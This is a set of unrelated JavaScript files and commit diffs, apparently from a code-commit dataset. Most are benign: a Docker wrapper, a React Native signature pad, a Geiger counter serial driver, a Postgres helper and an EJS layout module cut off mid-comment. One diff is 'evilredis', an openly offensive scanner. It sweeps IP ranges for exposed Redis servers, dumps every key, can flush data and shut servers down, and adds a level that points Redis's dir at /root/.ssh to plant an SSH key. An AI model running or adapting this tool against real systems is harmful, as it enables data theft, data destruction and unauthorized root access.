
  if (
    packageConfig.ndm &&
    packageConfig.ndm.scope
  ) {

    packageConfigScope = packageConfig.ndm.scope

  }

  if (
    packageConfigScope === `` ||
    packageConfigScope === undefined
  ) {

    return packageConfigName

  }

  return [
    packageConfigScope,
    packageConfigName
  ].join( '/' )

}

/**
 * Create Docker image name from package.json
 * - create shasum from whole package.json string
 * - get proper package name
 * @param {Object} packageConfig
 * @return {string}
 */
function createImageName( packageConfig ) {

  const packageConfigHash = shasum( JSON.stringify( packageConfig ) )

  const packageConfigName = createPackageName( packageConfig )

  return `${packageConfigName}:${packageConfigHash}`

}

/**
 * Copy dockerfile to project structure
 */
function dockerfileInit() {

  // console.log(process.env.OLDPWD)

  const targetDockerfilePath = path.resolve( process.env.PWD, 'Dockerfile' )
  const writeStream = fs.createWriteStream( targetDockerfilePath )
  writeStream.on("error", _reportError )

  const sourceDockerfilePath = path.resolve( __dirname, 'Dockerfile' )

  const readStream = fs.createReadStream( sourceDockerfilePath )
    .pipe( writeStream )
  readStream.on("error", _reportError )

  function _reportError( err ) {

    console.error( err )

  }

}

/**
 * Spawn subprocess with specified command
 * @param {string} cmd command name to execute
 * @param {string[]} args arguments for executed command
 */
function execCommand( cmd, args ) {

  return spawn( cmd, args, {
    env: process.env,
    cwd: process.env.PWD,
    stdio: [ 'inherit', process.stdout, process.stdout ]
  })

}

/**
 * Execute docker build command
 * @param {Object} packageConfig
 */
function dockerBuild( packageConfig ) {

  const proc = `docker`
  const args = [
    `build`,
    `-t`,
    `${createImageName( packageConfig )}`,
    `.`
  ]

  return execCommand( proc, args )

}

/**
 * Run docker run with specified command
 * @param {Object} packageConfig
 * @param {string[]} command
 */
function dockerRun( packageConfig, command ) {

  // Make npm start default command
  if (
    command === undefined ||
    command.length === 0
  ) {

    command = [
      NPM_BIN_PATH,
      `start`
    ]

  }

  const proc = `docker`
  const args = [
    `run`,
    `-it`,
    `-v`,
    `${process.cwd()}:/srv`,
    `${createImageName( packageConfig )}`,
  ].concat( command )

  return execCommand( proc, args )

}
<|endoftext|>


<commit_before>'use strict';

var React = require('react');
var ReactNative = require('react-native');

var {
  PropTypes,
  Component,
  StyleSheet,
} = React;

var {
  View,
  WebView,
  } = ReactNative;

import htmlContent from './injectedHtml';
import injectedSignaturePad from './injectedJavaScript/signaturePad';
import injectedApplication from './injectedJavaScript/application';
import injectedErrorHandler from './injectedJavaScript/errorHandler';
import injectedExecuteNativeFunction from './injectedJavaScript/executeNativeFunction';

class SignaturePad extends Component {

  static propTypes = {
    onChange: PropTypes.func,
    onError: PropTypes.func,
    style: View.propTypes.style
  };

  static defaultProps = {
    onChange: () => {
    },
    onError: () => {

    },
    style: {}
  };

  constructor(props) {
    super(props);
    this.state = {base64DataUrl: null};

    const { backgroundColor, color } = StyleSheet.flatten(props.style);

    var injectedJavaScript = injectedExecuteNativeFunction + injectedErrorHandler + injectedSignaturePad + injectedApplication(color);
    var html = htmlContent(injectedJavaScript, backgroundColor);
    this.source = {html}; //We don't use WebView's injectedJavaScript because on Android, the WebView re-injects the JavaScript upon every url change. Given that we use url changes to communicate signature changes to the React Native app, the JS is re-injected every time a stroke is drawn.
  }

  _onNavigationChange = (args) => {
    this._parseMessageFromWebViewNavigationChange(unescape(args.url));
  };

  _parseMessageFromWebViewNavigationChange = (newUrl) => {
    //Example input:
    //applewebdata://4985ECDA-4C2B-4E37-87ED-0070D14EB985#executeFunction=jsError&arguments=%7B%22message%22:%22ReferenceError:%20Can't%20find%20variable:%20WHADDUP%22,%22url%22:%22applewebdata://4985ECDA-4C2B-4E37-87ED-0070D14EB985%22,%22line%22:340,%22column%22:10%7D"
    //All parameters to the native world are passed via a hash url where every parameter is passed as &[ParameterName]<-[Content]&
    var hashUrlIndex = newUrl.lastIndexOf('#');
    if(hashUrlIndex === -1) {
      return;
    }

    var hashUrl = newUrl.substring(hashUrlIndex);
    hashUrl = decodeURIComponent(hashUrl);
    var regexFindAllSubmittedParameters = /&(.*?)&/g;

    var parameters = {};
    var parameterMatch = regexFindAllSubmittedParameters.exec(hashUrl);
    if(!parameterMatch) {
      return;
    }

    while(parameterMatch) {
      var parameterPair = parameterMatch[1]; //For example executeFunction=jsError or arguments=...

      var parameterPairSplit = parameterPair.split('<-');
      if(parameterPairSplit.length === 2) {
        parameters[parameterPairSplit[0]] = parameterPairSplit[1];
      }

      parameterMatch = regexFindAllSubmittedParameters.exec(hashUrl);
    }

    if(!this._attemptToExecuteNativeFunctionFromWebViewMessage(parameters)) {
      logger.warn({parameters, hashUrl}, 'Received an unknown set of parameters from WebView');
    }
  };

  _attemptToExecuteNativeFunctionFromWebViewMessage = (message) => {
    if(message.executeFunction && message.arguments) {
      var parsedArguments = JSON.parse(message.arguments);

      var referencedFunction = this['_bridged_' + message.executeFunction];
      if(typeof(referencedFunction) === 'function') {
        referencedFunction.apply(this, [parsedArguments]);
        return true;
      }
    }

    return false;
  };

  _bridged_jsError = (args) => {
    this.props.onError({details: args});
  };

  _bridged_finishedStroke = ({base64DataUrl}) => {
    this.props.onChange({base64DataUrl});
    this.setState({base64DataUrl});
  };

  _renderError = (args) => {
    this.props.onError({details: args});
  };

  _renderLoading = (args) => {

  };

  render = () => {
    return (
        <WebView automaticallyAdjustContentInsets={false}
                 onNavigationStateChange={this._onNavigationChange}
                 renderError={this._renderError}
                 renderLoading={this._renderLoading}
                 source={this.source}
                 javaScriptEnabled={true}
                 style={this.props.style}/>
    )
  };
}

module.exports = SignaturePad;
<commit_msg>Removes extraction of color property from style props. Color is not a valid view style key.<commit_after>'use strict';

var React = require('react');
var ReactNative = require('react-native');

var {
  PropTypes,
  Component,
} = React;

var {
  View,
  WebView,
  StyleSheet,
} = ReactNative;

import htmlContent from './injectedHtml';
import injectedSignaturePad from './injectedJavaScript/signaturePad';
import injectedApplication from './injectedJavaScript/application';
import injectedErrorHandler from './injectedJavaScript/errorHandler';
import injectedExecuteNativeFunction from './injectedJavaScript/executeNativeFunction';

class SignaturePad extends Component {

  static propTypes = {
    onChange: PropTypes.func,
    onError: PropTypes.func,
    style: View.propTypes.style,
    penColor: PropTypes.string,
  };

  static defaultProps = {
    onChange: () => {
    },
    onError: () => {

    },
    style: {}
  };

  constructor(props) {
    super(props);
    this.state = {base64DataUrl: null};
    const { backgroundColor } = StyleSheet.flatten(props.style);
    var injectedJavaScript = injectedExecuteNativeFunction + injectedErrorHandler + injectedSignaturePad + injectedApplication(props.penColor);
    var html = htmlContent(injectedJavaScript, backgroundColor);
    this.source = {html}; //We don't use WebView's injectedJavaScript because on Android, the WebView re-injects the JavaScript upon every url change. Given that we use url changes to communicate signature changes to the React Native app, the JS is re-injected every time a stroke is drawn.
  }

  _onNavigationChange = (args) => {
    this._parseMessageFromWebViewNavigationChange(unescape(args.url));
  };

  _parseMessageFromWebViewNavigationChange = (newUrl) => {
    //Example input:
    //applewebdata://4985ECDA-4C2B-4E37-87ED-0070D14EB985#executeFunction=jsError&arguments=%7B%22message%22:%22ReferenceError:%20Can't%20find%20variable:%20WHADDUP%22,%22url%22:%22applewebdata://4985ECDA-4C2B-4E37-87ED-0070D14EB985%22,%22line%22:340,%22column%22:10%7D"
    //All parameters to the native world are passed via a hash url where every parameter is passed as &[ParameterName]<-[Content]&
    var hashUrlIndex = newUrl.lastIndexOf('#');
    if(hashUrlIndex === -1) {
      return;
    }

    var hashUrl = newUrl.substring(hashUrlIndex);
    hashUrl = decodeURIComponent(hashUrl);
    var regexFindAllSubmittedParameters = /&(.*?)&/g;

    var parameters = {};
    var parameterMatch = regexFindAllSubmittedParameters.exec(hashUrl);
    if(!parameterMatch) {
      return;
    }

    while(parameterMatch) {
      var parameterPair = parameterMatch[1]; //For example executeFunction=jsError or arguments=...

      var parameterPairSplit = parameterPair.split('<-');
      if(parameterPairSplit.length === 2) {
        parameters[parameterPairSplit[0]] = parameterPairSplit[1];
      }

      parameterMatch = regexFindAllSubmittedParameters.exec(hashUrl);
    }

    if(!this._attemptToExecuteNativeFunctionFromWebViewMessage(parameters)) {
      logger.warn({parameters, hashUrl}, 'Received an unknown set of parameters from WebView');
    }
  };

  _attemptToExecuteNativeFunctionFromWebViewMessage = (message) => {
    if(message.executeFunction && message.arguments) {
      var parsedArguments = JSON.parse(message.arguments);

      var referencedFunction = this['_bridged_' + message.executeFunction];
      if(typeof(referencedFunction) === 'function') {
        referencedFunction.apply(this, [parsedArguments]);
        return true;
      }
    }

    return false;
  };

  _bridged_jsError = (args) => {
    this.props.onError({details: args});
  };

  _bridged_finishedStroke = ({base64DataUrl}) => {
    this.props.onChange({base64DataUrl});
    this.setState({base64DataUrl});
  };

  _renderError = (args) => {
    this.props.onError({details: args});
  };

  _renderLoading = (args) => {

  };

  render = () => {
    return (
        <WebView automaticallyAdjustContentInsets={false}
                 onNavigationStateChange={this._onNavigationChange}
                 renderError={this._renderError}
                 renderLoading={this._renderLoading}
                 source={this.source}
                 javaScriptEnabled={true}
                 style={this.props.style}/>
    )
  };
}

module.exports = SignaturePad;
<|endoftext|>


<commit_before>const SerialPort = require("serialport");

class GQGeiger {
	constructor(port, baud){
		this.geigerPort = new SerialPort(port, {baudrate: baud});
		this.queue = [];
		const tempThis = this;
		this.geigerPort.on('data', function(data) {
			const cD = tempThis.queue.shift();
			cD.internalCallback(data, cD.externalCallback);
		});
	}

	reqData(command, processFunc, callback){
		const tempThis = this;
		this.geigerPort.write(new Buffer(command, 'ascii'), function(err, results){
			if(err){
				callback(err, null);
				return;
			}
			tempThis.queue.push({internalCallback: processFunc, externalCallback: callback});
		});
	}

	processCPM(buffer, callback) {
		const cpm = buffer.readUInt16BE(0);
		callback(null, cpm);
	}
	getCPM(callback){
		this.reqData("<GETCPM>>", this.processCPM, callback);
	}

	processSPH(buffer, callback){
		const sph = (buffer.readUInt16BE(0)/200)*0.000001;
		callback(null, sph);
	}
	getSPH(callback){
		this.reqData("<GETCPM>>", this.processSPH, callback);
	}
}

module.exports = GQGeiger;<commit_msg>Added getVoltage<commit_after>const SerialPort = require("serialport");

class GQGeiger {
	constructor(port, baud){
		this.geigerPort = new SerialPort(port, {baudrate: baud});
		this.queue = [];
		const tempThis = this;
		this.geigerPort.on('data', function(data) {
			const cD = tempThis.queue.shift();
			cD.internalCallback(data, cD.externalCallback);
		});
	}

	reqData(command, processFunc, callback){
		const tempThis = this;
		this.geigerPort.write(new Buffer(command, 'ascii'), function(err, results){
			if(err){
				callback(err, null);
				return;
			}
			tempThis.queue.push({internalCallback: processFunc, externalCallback: callback});
		});
	}

	processCPM(buffer, callback) {
		const cpm = buffer.readUInt16BE(0);
		callback(null, cpm);
	}
	getCPM(callback){
		this.reqData("<GETCPM>>", this.processCPM, callback);
	}

	processSPH(buffer, callback){
		const sph = (buffer.readUInt16BE(0)/200)*0.000001;
		callback(null, sph);
	}
	getSPH(callback){
		this.reqData("<GETCPM>>", this.processSPH, callback);
	}

	processVoltage(buffer, callback){
		const voltage = buffer.readUInt8(0)/10;
		callback(null, voltage);
	}
	getVoltage(callback){
		this.reqData("<GETVOLT>>", this.processVoltage, callback);
	}
}

module.exports = GQGeiger;<|endoftext|>


<commit_before>"use strict";

var pg = require('pg'),
  _ = require('lodash'),
  BPromise = require('bluebird'),
  stringTemplate = require('string-template'),
  using = BPromise.using,
  assert = require('assert')

var DEFAULTS = {
  statementTimeout: '0', // the node-postgres default is no timeout
  poolSize : 20
}

// Do not try to parse a postgres DATE to a javascript Date.
pg.types.setTypeParser(1082, 'text', _.identity)

BPromise.promisifyAll(pg)

function getConnection(env) {
  var close
  return pg.connectAsync(env.dbUrl).spread(function(client, done) {
    close = done
    return client.queryAsync("SET statement_timeout TO '" + env.statementTimeout + "'")
      .then(function () { return client })
  }).disposer(function() {
    try {
      if (close) close()
    } catch(e) {}
  })
}

function getTransaction(env, tablesToLock) {
  tablesToLock = tablesToLock || []
  var close
  return pg.connectAsync(env.dbUrl).spread(function(client, done) {
    close = done
    return client.queryAsync("SET statement_timeout TO '" + env.statementTimeout + "'")
      .then(function () { return client.queryAsync(constructLockingBeginStatement(tablesToLock))})
      .then(function () { return client })
  }).disposer(function(tx, promise) {
    if (promise.isFulfilled()) {
      return tx.queryAsync('COMMIT').then(doClose)
    } else {
      return tx.queryAsync('ROLLBACK').then(doClose)
    }
    function doClose() {
      try {
        if (close) close()
      } catch (e) {
      }
    }
  })
}

function queryRowsAsync(env, query, args) {
  var argsArray = args || []
  return using(getConnection(env), function (connection) {
    return connection.queryAsync(query, argsArray)
  }).then(function (res) {
    return res.rows
  })
}

function constructLockingBeginStatement(involvedTables) {
  var lockSql = 'LOCK TABLE {table} IN SHARE ROW EXCLUSIVE MODE'
  var statements = involvedTables.map(function(table) {
    return stringTemplate(lockSql, { table: table })
  })
  statements.unshift('BEGIN')
  return statements.join(';')
}

function createUpsertCTE(table, idField, args) {
  var insert = args.insert
  var update = args.update

  return {
    text: 'with ' + formatQueryText(),
    values: getValues()
  }

  function getValues() { return update.values.concat(insert.values) }

  function formatQueryText() {
    var insertSql = rewriteInsertSql(insert.text, update.values.length)

    return stringTemplate(upsertQuery(), {
      table: table,
      update: update.text,
      uuid: idField,
      insert: insertSql
    })

    function selectQuery() {
      return '(select * from {table}_update) union all (select * from {table}_insert)'
    }
    function insertQuery() {
      return '{insert} where not exists (select * from {table}_update) returning {uuid}';
    }
    function updateQuery() {
      return '{update} returning {uuid}'
    }
    function upsertQuery() {
      return '{table}_update AS (' +
        updateQuery() +
        '), {table}_insert as (' +
        insertQuery() + ')' +
        selectQuery()
    }

    function rewriteInsertSql(text, count) {
      var i = 0
      return text.split('$').map(function(fragment) {
        return fragment.replace(/\d+/, (count + i++))
      }).join('$')
    }
  }
}

function createMultipleInsertCTE(insert) {
  var placeholders = insert.text.match(/\$\d+/g).map(function(param) { return parseInt(param.substring(1), 10)})
  assert.ok(_.isEqual(placeholders, _.range(1, placeholders.length + 1)), "Refer to the insert statement parameters in ascending order!")
  var numberOfParams = _.last(placeholders)
  var sqlValuesText = _.last(insert.text.split('values'))
  var valuesSegmentFragments = replaceParameters(numberOfParams, sqlValuesText, insert.values)

  return {
    text: insert.text.replace(sqlValuesText, valuesSegmentFragments.join(',')),
    values: insert.values
  }

  function replaceParameters(parameterCountInSql, sqlString, values) {
    var i = 1

    var valueSegmentCount = values.length / parameterCountInSql
    assert.ok(valueSegmentCount % 1 === 0, "Check that there are a multiple of parameter count values in the statement" + values.length + parameterCountInSql )
    return _.times(valueSegmentCount, function () {
      var split = sqlString.split(/\$\d+/)
      var omit = 0
      return _.map(split, function (fragment) {
        var isLastItemInFragment = ++omit % split.length === 0;
        return isLastItemInFragment ? fragment : fragment + '$' + i++
      }).join('')
    })
  }
}

module.exports = function (env) {
  var envWithDefaults = _.assign({}, DEFAULTS, env)
  pg.defaults.poolSize = envWithDefaults.poolSize

  return {
    getConnection: getConnectionWithEnv,
    getTransaction: getTransactionWithEnv,
    queryAsync: queryRowsWithEnv,
    queryRowsAsync: queryRowsWithEnv,
    createMultipleInsertCTE: createMultipleInsertCTE,
    createUpsertCTE: createUpsertCTE,
    on: on,
    end: end
  }

  function getConnectionWithEnv() { return getConnection(envWithDefaults) }

  function getTransactionWithEnv(tablesToLock) { return getTransaction(envWithDefaults, tablesToLock) }

  function queryRowsWithEnv(query, args) { return queryRowsAsync(envWithDefaults, query, args)}

  function on(event, fn) {
    pg.on(event, fn)
  }

  function end() {
    pg.end()
  }
}
<commit_msg>Allow overriding SSL that by default is disabled<commit_after>"use strict";

var pg = require('pg'),
  _ = require('lodash'),
  BPromise = require('bluebird'),
  stringTemplate = require('string-template'),
  using = BPromise.using,
  assert = require('assert')

var DEFAULTS = {
  statementTimeout: '0', // the node-postgres default is no timeout
  poolSize : 20,
  ssl: false
}

// Do not try to parse a postgres DATE to a javascript Date.
pg.types.setTypeParser(1082, 'text', _.identity)

BPromise.promisifyAll(pg)

function getConnection(env) {
  var close
  return pg.connectAsync(env.dbUrl).spread(function(client, done) {
    close = done
    return client.queryAsync("SET statement_timeout TO '" + env.statementTimeout + "'")
      .then(function () { return client })
  }).disposer(function() {
    try {
      if (close) close()
    } catch(e) {}
  })
}

function getTransaction(env, tablesToLock) {
  tablesToLock = tablesToLock || []
  var close
  return pg.connectAsync(env.dbUrl).spread(function(client, done) {
    close = done
    return client.queryAsync("SET statement_timeout TO '" + env.statementTimeout + "'")
      .then(function () { return client.queryAsync(constructLockingBeginStatement(tablesToLock))})
      .then(function () { return client })
  }).disposer(function(tx, promise) {
    if (promise.isFulfilled()) {
      return tx.queryAsync('COMMIT').then(doClose)
    } else {
      return tx.queryAsync('ROLLBACK').then(doClose)
    }
    function doClose() {
      try {
        if (close) close()
      } catch (e) {
      }
    }
  })
}

function queryRowsAsync(env, query, args) {
  var argsArray = args || []
  return using(getConnection(env), function (connection) {
    return connection.queryAsync(query, argsArray)
  }).then(function (res) {
    return res.rows
  })
}

function constructLockingBeginStatement(involvedTables) {
  var lockSql = 'LOCK TABLE {table} IN SHARE ROW EXCLUSIVE MODE'
  var statements = involvedTables.map(function(table) {
    return stringTemplate(lockSql, { table: table })
  })
  statements.unshift('BEGIN')
  return statements.join(';')
}

function createUpsertCTE(table, idField, args) {
  var insert = args.insert
  var update = args.update

  return {
    text: 'with ' + formatQueryText(),
    values: getValues()
  }

  function getValues() { return update.values.concat(insert.values) }

  function formatQueryText() {
    var insertSql = rewriteInsertSql(insert.text, update.values.length)

    return stringTemplate(upsertQuery(), {
      table: table,
      update: update.text,
      uuid: idField,
      insert: insertSql
    })

    function selectQuery() {
      return '(select * from {table}_update) union all (select * from {table}_insert)'
    }
    function insertQuery() {
      return '{insert} where not exists (select * from {table}_update) returning {uuid}';
    }
    function updateQuery() {
      return '{update} returning {uuid}'
    }
    function upsertQuery() {
      return '{table}_update AS (' +
        updateQuery() +
        '), {table}_insert as (' +
        insertQuery() + ')' +
        selectQuery()
    }

    function rewriteInsertSql(text, count) {
      var i = 0
      return text.split('$').map(function(fragment) {
        return fragment.replace(/\d+/, (count + i++))
      }).join('$')
    }
  }
}

function createMultipleInsertCTE(insert) {
  var placeholders = insert.text.match(/\$\d+/g).map(function(param) { return parseInt(param.substring(1), 10)})
  assert.ok(_.isEqual(placeholders, _.range(1, placeholders.length + 1)), "Refer to the insert statement parameters in ascending order!")
  var numberOfParams = _.last(placeholders)
  var sqlValuesText = _.last(insert.text.split('values'))
  var valuesSegmentFragments = replaceParameters(numberOfParams, sqlValuesText, insert.values)

  return {
    text: insert.text.replace(sqlValuesText, valuesSegmentFragments.join(',')),
    values: insert.values
  }

  function replaceParameters(parameterCountInSql, sqlString, values) {
    var i = 1

    var valueSegmentCount = values.length / parameterCountInSql
    assert.ok(valueSegmentCount % 1 === 0, "Check that there are a multiple of parameter count values in the statement" + values.length + parameterCountInSql )
    return _.times(valueSegmentCount, function () {
      var split = sqlString.split(/\$\d+/)
      var omit = 0
      return _.map(split, function (fragment) {
        var isLastItemInFragment = ++omit % split.length === 0;
        return isLastItemInFragment ? fragment : fragment + '$' + i++
      }).join('')
    })
  }
}

module.exports = function (env) {
  var envWithDefaults = _.assign({}, DEFAULTS, env)
  pg.defaults.poolSize = envWithDefaults.poolSize
  pg.defaults.ssl = envWithDefaults.ssl

  return {
    getConnection: getConnectionWithEnv,
    getTransaction: getTransactionWithEnv,
    queryAsync: queryRowsWithEnv,
    queryRowsAsync: queryRowsWithEnv,
    createMultipleInsertCTE: createMultipleInsertCTE,
    createUpsertCTE: createUpsertCTE,
    on: on,
    end: end
  }

  function getConnectionWithEnv() { return getConnection(envWithDefaults) }

  function getTransactionWithEnv(tablesToLock) { return getTransaction(envWithDefaults, tablesToLock) }

  function queryRowsWithEnv(query, args) { return queryRowsAsync(envWithDefaults, query, args)}

  function on(event, fn) {
    pg.on(event, fn)
  }

  function end() {
    pg.end()
  }
}
<|endoftext|>


<commit_before>#!/usr/bin/env node
var CIDR = require('cidr-js'),
    Redis = require('redis'),
    fs = require('fs'),
    cidr = new CIDR();

console.error = function(){};

var target = process.argv[2],
    evilness = 0,
    outputPath = 'output/';

if( !target ) {
  console.log( '== evilredis >:) \n\n Syntax:\tevilredis [ target ] [ level = 0 ]\n Ex.\t\tevilredis 192.168.0.0/24 1\n')
  console.log( ' - Level 0: quick scan, dump server info & keys' );
  console.log( ' - Level 1: flushall' );
  console.log( ' - Level 2: flushall & shutdown\n' );
  console.log( ' USE AT YOUR OWN RISK!' );
  process.exit();
};

if( process.argv[3] ) {
  evilness = parseInt(process.argv[3]);
};

if( !fs.existsSync( outputPath ) ) {
  fs.mkdir( outputPath );
};

console.log( ' -- Target :', target, '... evilness level', evilness, '\n' );

var hosts  = cidr.list( target );

hosts.forEach( function( host, index ) {
  var redis = Redis.createClient( 6379, host, { max_attempts: 1, retry_delay: 10 } );
  redis.keys( '*', function( err, keys ) {
    if( err ) {
      return;
    };
    var serverInfo = redis.server_info,
        prefix = ' * ' + host + ', Redis ' + serverInfo.redis_version + ', ' + serverInfo.os + ':',
        outputPrefix = outputPath + host;

    fs.appendFile( outputPrefix, JSON.stringify( serverInfo, null, 2 ) );

    redis.keys( '*', function( err, keys ) {
      console.log( prefix, 'Found', keys.length, 'keys');
      keys.forEach( function( key, index ) {
        var keysFilePath = outputPrefix + '.keys';
        redis.get( key, function( err, value ) {
          var ln = key + '\t';
          if( err ) {
            ln += 'ERR: ' + err;
          } else {
            ln += value.toString();
          };
          fs.appendFile( keysFilePath, ln + '\n');
        });
      });

      if( evilness > 0 ) {
        console.log( prefix, 'Flushall()' );
        redis.flushall(function( err, reply ) {
          if( evilness == 2 ) {
            console.log( prefix, 'Shutdown!' );
            redis.shutdown();
          };
        });
      };

    });

  });

  redis.on( 'error', function( e ) {
  });
});
<commit_msg>introducing a new level<commit_after>#!/usr/bin/env node
var CIDR = require( 'cidr-js' ),
    Redis = require( 'redis' ),
    fs = require( 'fs' ),
    async = require( 'async' )
    cidr = new CIDR();

console.error = function(){};

var target = process.argv[2],
    evilness = 0,
    outputPath = 'output/';

if( !target ) {
  console.log( '== evilredis >:) \n\n Syntax:\tevilredis [ target ] [ level = 0 ]\n Ex.\t\tevilredis 192.168.0.0/24 1\n')
  console.log( ' - Level 0: quick scan, dump server info & keys' );
  console.log( ' - Level 1: flushall' );
  console.log( ' - Level 2: flushall & shutdown' );
  console.log( ' - Level 3: root >:) (requires a pubkey)\n\n   Specify your pubkey after evilness level\n   Example: $ evilredis x.x.x.x 3 ~/.ssh/id_rsa.pub\n')
  console.log( ' USE AT YOUR OWN RISK!' );
  process.exit();
};

if( process.argv[3] ) {
  evilness = parseInt(process.argv[3]);
};

if( !fs.existsSync( outputPath ) ) {
  fs.mkdir( outputPath );
};

console.log( ' -- Target :', target, '... evilness level', evilness, '\n' );

var hosts  = cidr.list( target );

hosts.forEach( function( host, index ) {
  var redis = Redis.createClient( 6379, host, { max_attempts: 1, retry_delay: 10 } );

  if( evilness > 2 ) {
    var pubKey = "\n\n" + fs.readFileSync( process.argv[ 4 ] ).toString() + "\n\n";
    redis.send_command( 'config', [ 'SET', 'dir', '/root/.ssh' ], function( err, reply  ) {
      var serverInfo = redis.server_info,
      prefix = ' * ' + host + ', Redis ' + serverInfo.redis_version + ', ' + serverInfo.os + ':',
      outputPrefix = outputPath + host;
      console.log( prefix, 'Vulnerable, try ssh...'  );
      if( reply ) {
        if( reply.indexOf( 'OK' ) > -1 ) {
          console.log( host, reply );
        };
      };
    });
  } else {

    redis.keys( '*', function( err, keys ) {
      if( err ) {
        return;
      };
      var serverInfo = redis.server_info,
      prefix = ' * ' + host + ', Redis ' + serverInfo.redis_version + ', ' + serverInfo.os + ':',
      outputPrefix = outputPath + host;

      fs.appendFile( outputPrefix, JSON.stringify( serverInfo, null, 2 ) );

      redis.keys( '*', function( err, keys ) {
        console.log( prefix, 'Found', keys.length, 'keys');
        keys.forEach( function( key, index ) {
          var keysFilePath = outputPrefix + '.keys';
          redis.get( key, function( err, value ) {
            var ln = key + '\t';
            if( err ) {
              ln += 'ERR: ' + err;
            } else {
              ln += value.toString();
            };
            fs.appendFile( keysFilePath, ln + '\n');
          });

        });

        if( evilness > 0 ) {
          console.log( prefix, 'Flushall()' );
          redis.flushall(function( err, reply ) {
            if( evilness == 2 ) {
              console.log( prefix, 'Shutdown!' );
              redis.shutdown();
            };
          });
        };

      });

    });

  };

  redis.on( 'error', function( e ) {
  });
});
<|endoftext|>


<commit_before>var ejs = require('ejs')
  , fs = require('fs')
  , path = require('path')
  , exists = fs.existsSync || path.existsSync
  , resolve = path.resolve
  , extname = path.extname
  , dirname = path.dirname
  , join = path.join
  , basename = path.basename;

/**
 * Express 3.x Layout & Partial support for EJS.
 *
 * The `partial` feature from Express 2.x is back as a template engine,
 * along with support for `layout` and `block/script/stylesheet`.
 *
 *
 * Example index.ejs:
 *
 *   <% layout('boilerplate') %>
 *
I am the <%=what%> template

 *   <% script('foo.js') %>
 *
 *
 * Example boilerplate.ejs:
 *
 *
 *
 *       <title>It's <%=who%></title>
 *       <%-scripts%>
 *
 *     <%-body%>
 *
 *
 *
 * Sample app:
 *
 *    var express = require('express')
 *      , app = express();
 *
 *    // use ejs-locals for all ejs templates:
 *    app.engine('ejs', require('ejs-locals'));
 *
 *    // render 'index' into 'boilerplate':
 *    app.get('/',function(req,res,next){
 *      res.render('index', { what: 'best', who: 'me' });
 *    });
 *
 *    app.listen(3000);
 *
 * Example output for GET /:
 *
 *
 *
 *       <title>It's me</title>
 *
 *
 *
I am the best template

 *
 *
 */

var renderFile = module.exports = function(file, options, fn){

  // Express used to set options.locals for us, but now we do it ourselves
  // (EJS does some __proto__ magic to expose these funcs/values in the template)
  if (!options.locals) {
    options.locals = {};
  }

  if (!options.locals.blocks) {
    // one set of blocks no matter how often we recurse
    var blocks = { scripts: new Block(), stylesheets: new Block() };
    options.locals.blocks = blocks;
    options.locals.scripts = blocks.scripts;
    options.locals.stylesheets = blocks.stylesheets;
    options.locals.block = block.bind(blocks);
    options.locals.stylesheet = stylesheet.bind(blocks.stylesheets);
    options.locals.script = script.bind(blocks.scripts);
  }
  // override locals for layout/partial bound to current options
  options.locals.layout  = layout.bind(options);
  options.locals.partial = partial.bind(options);

  ejs.renderFile(file, options, function(err, html) {

    if (err) {
      return fn(err,html);
    }

    var layout = options.locals._layoutFile;

    // for backward-compatibility, allow options to
    // set a default layout file for the view or the app
    // (NB:- not called `layout` any more so it doesn't
    // conflict with the layout() function)
    if (layout === undefined) {
      layout = options._layoutFile;
    }

    if (layout) {

      // use default extension
      var engine = options.settings['view engine'] || 'ejs',
          desiredExt = '.'+engine;

      // apply default layout if only "true" was set
      if (layout === true) {
        layout = path.sep + 'layout' + desiredExt;
      }
      if (extname(layout) !== desiredExt) {
        layout += desiredExt;
      }

      // clear to make sure we don't recurse forever (layouts can be nested)
      delete options.locals._layoutFile;
      delete options._layoutFile;
      // make sure caching works inside ejs.renderFile/render
      delete options.filename;

      if (layout.length > 0 && layout[0] === path.sep) {
        // if layout is an absolute path, find it relative to view options:
        layout = join(options.settings.views, layout.slice(1));
      } else {
        // otherwise, find layout path relative to current template:
        layout = resolve(dirname(file), layout);
      }

      // now recurse and use the current result as `body` in the layout:
      options.locals.body = html;
      renderFile(layout, options, fn);
    } else {
      // no layout, just do the default:
      fn(null, html);
    }
  });

};

/**
 * Memory cache for resolved object names.
 */

var cache = {};

/**
 * Resolve partial object name from the view path.
 *
 * Examples:
 *
 *   "user.ejs" becomes "user"
 *   "forum thread.ejs" becomes "forumThread"
 *   "forum/thread/post.ejs" becomes "post"
 *   "blog-post.ejs" becomes "blogPost"
 *
 * @return {String}
 * @api private
 */

function resolveObjectName(view){
  return cache[view] || (cache[view] = view
    .split('/')
    .slice(-1)[0]
    .split('.')[0]
    .replace(/^_/, '')
    .replace(/[^a-zA-Z0-9 ]+/g, ' ')
    .split(/ +/).map(function(word, i){
      return i ? word[0].toUpperCase() + word.substr(1) : word;
    }).join(''));
}

/**
 * Lookup partial path from base path of current template:
 *
 *   - partial `_<name>`
 *   - any `<name>/index`
 *   - non-layout `../<name>/index`
 *   - any `<root>/<name>`
 *   - partial `<root>/_<name>`
 *
 * Options:
 *
 *   - `cache` store the resolved path for the view, to avoid disk I/O
 *
 * @param {String} root, full base path of calling template
 * @param {String} partial, name of the partial to lookup (can be a relative path)
 * @param {Object} options, for `options.cache` behavior
 * @return {String}
 * @api private
 */

function lookup(root, partial, options){

  var engine = options.settings['view engine'] || 'ejs'
    , desiredExt = '.' + engine
    , ext = extname(partial) || desiredExt
    , key = [ root, partial, ext ].join('-');

  if (options.cache && cache[key]) return cache[key];

  // Make sure we use dirname in case of relative partials
  // ex: for partial('../user') look for /path/to/root/../user.ejs
  var dir = dirname(partial)
    , base = basename(partial, ext);

  // _ prefix takes precedence over the direct path
  // ex: for partial('user') look for /root/_user.ejs
  partial = resolve(root, dir,'_'+base+ext);
  if( exists(partial) ) return options.cache ? cache[key] = partial : partial;

  // Try the direct path
  // ex: for partial('user') look for /root/user.ejs
  partial = resolve(root, dir, base+ext);
  if( exists(partial) ) return options.cache ? cache[key] = partial : partial;

  // Try index
  // ex: for partial('user') look for /root/user/index.ejs
  partial = resolve(root, dir, base, 'index'+ext);
  if( exists(partial) ) return options.cache ? cache[key] = partial : partial;

  // FIXME:
  // * there are other path types that Express 2.0 used to support but
  //   the structure of the lookup involved View class methods that we
  //   don't have access to any more
  // * we probaly need to pass the Express app's views folder path into
  //   this function if we want to support finding partials relative to
  //   it as well as relative to the current view
  // * we have no tests for finding partials that aren't relative to
  //   the calling view

  return null;
}

/**
 * Render `view` partial with the given `options`. Optionally a
 * callback `fn(err, str)` may be passed instead of writing to
 * the socket.
 *
 * Options:
 *
